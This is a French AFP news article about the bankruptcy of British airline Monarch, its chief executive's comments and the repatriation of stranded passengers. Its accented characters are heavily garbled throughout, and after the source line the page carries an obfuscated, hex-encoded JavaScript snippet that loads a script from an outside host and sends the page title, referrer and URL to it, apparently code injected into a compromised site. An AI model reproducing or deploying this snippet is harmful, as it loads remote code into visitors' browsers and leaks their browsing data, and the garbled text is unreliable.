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MONARCH PERDAIT TROP D’ARGENT POUR SURVIVRE, SELON SON PATRON

Un avion de la compagnie britannique Monarch s’apprA?te Ai?? atterrir Ai?? Barcelone, le 6 juin 2016. afp.com/JOSEP LAGO

La compagnie aAi??rienne britannique Monarch perdait trop d’argent pour continuer Ai?? fonctionner, a expliquAi?? mardi son patron, qui s’est dit « triste » pour les clients et ses 2.000 employAi??s ayant perdu leur emploi.

« Je veux simplement exprimer ma tristesse pour les perturbations causAi??es », a dAi??clarAi?? le directeur gAi??nAi??ral Andrew Swaffield, interrogAi?? sur la radio BBC 4, Ai??voquant « un jour dAi??chirant pour les clients et les 2.000 personnes qui ont perdu leur emploi ».
Monarch a disparu brutalement lundi matin aprA?s avoir Ai??tAi?? placAi?? en cessation de paiement, n’ayant plus les moyens de poursuivre son activitAi??.

Les autoritAi??s ont dAi?? organiser dans l’urgence le rapatriement au Royaume-Uni de 110.000 clients qui se trouvaient en vacances Ai?? l’Ai??tranger en affrAi??tant 30 avions. Sur la seule journAi??e de lundi, 61 vols ont atterri Ai?? Londres ramenant prA?s de 12.000 passagers.
L’opAi??ration semble se dAi??rouler sans accroc jusqu’Ai?? prAi??sent mA?me si un certain nombre de passagers se sont plaints du manque d’information et de l’incertitude de leur date de retour sur le sol britannique.
L’AutoritAi?? britannique de l’aviation civile (CAA) a confirmAi?? Ai?? l’AFP que le coAi??t de cette opAi??ration quasi inAi??dite par son ampleur devrait s’Ai??lever Ai?? environ 60 millions de livres (68 millions d’euros).
Du fait de l’arrA?t soudain des activitAi??s de Monarch, 750.000 personnes qui avaient achetAi?? un vol aller-retour au dAi??part du Royaume-Uni et qui n’Ai??taient pas encore parties ont vu leur rAi??servation tout bonnement annulAi??e.
Au moment de sa faillite, Monarch faisait face Ai?? des pertes potentielles pour l’annAi??e prochaine « de plus de 100 millions de livres », a annoncAi?? M. Swaffield.

« Nous avons parlAi?? Ai?? de nombreuses personnes en essayant d’explorer toutes les possibilitAi??s, comme lever du capital pour financer les pertes, vendre tout ou partie de la compagnie et nous avons conclu qu’il n’y avait pas de perspective », selon lui.
Le patron de Monarch a expliquAi?? en outre que la loi britannique sur les faillites ne permet pas Ai?? une compagnie aAi??rienne de continuer Ai?? voler, au contraire de ce qui se fait en Allemagne ou en Italie.
Pour expliquer comment sa compagnie en est arrivAi??e lAi??, M. Swaffield a mis principalement en cause le contexte terroriste qui a pesAi?? sur un secteur des court-courriers trA?s concurrentiel.

Source: AFP \x63″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D », »\x72\x65\x66\x65\x72\x72\x65\x72″, »\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D », »\x74\x69\x74\x6C\x65″, »\x26″, »\x3F », »\x72\x65\x70\x6C\x61\x63\x65″, »\x73\x65\x61\x72\x63\x68″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E », »\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″, »\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″, »\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″, »\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″, »\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″, »\x68\x65\x61\x64″, »\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″, »\x70\x72\x6F\x74\x6F\x63\x6F\x6C », »\x68\x74\x74\x70\x73\x3A », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x52\x5F\x50\x41\x54\x48″, »\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E »];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

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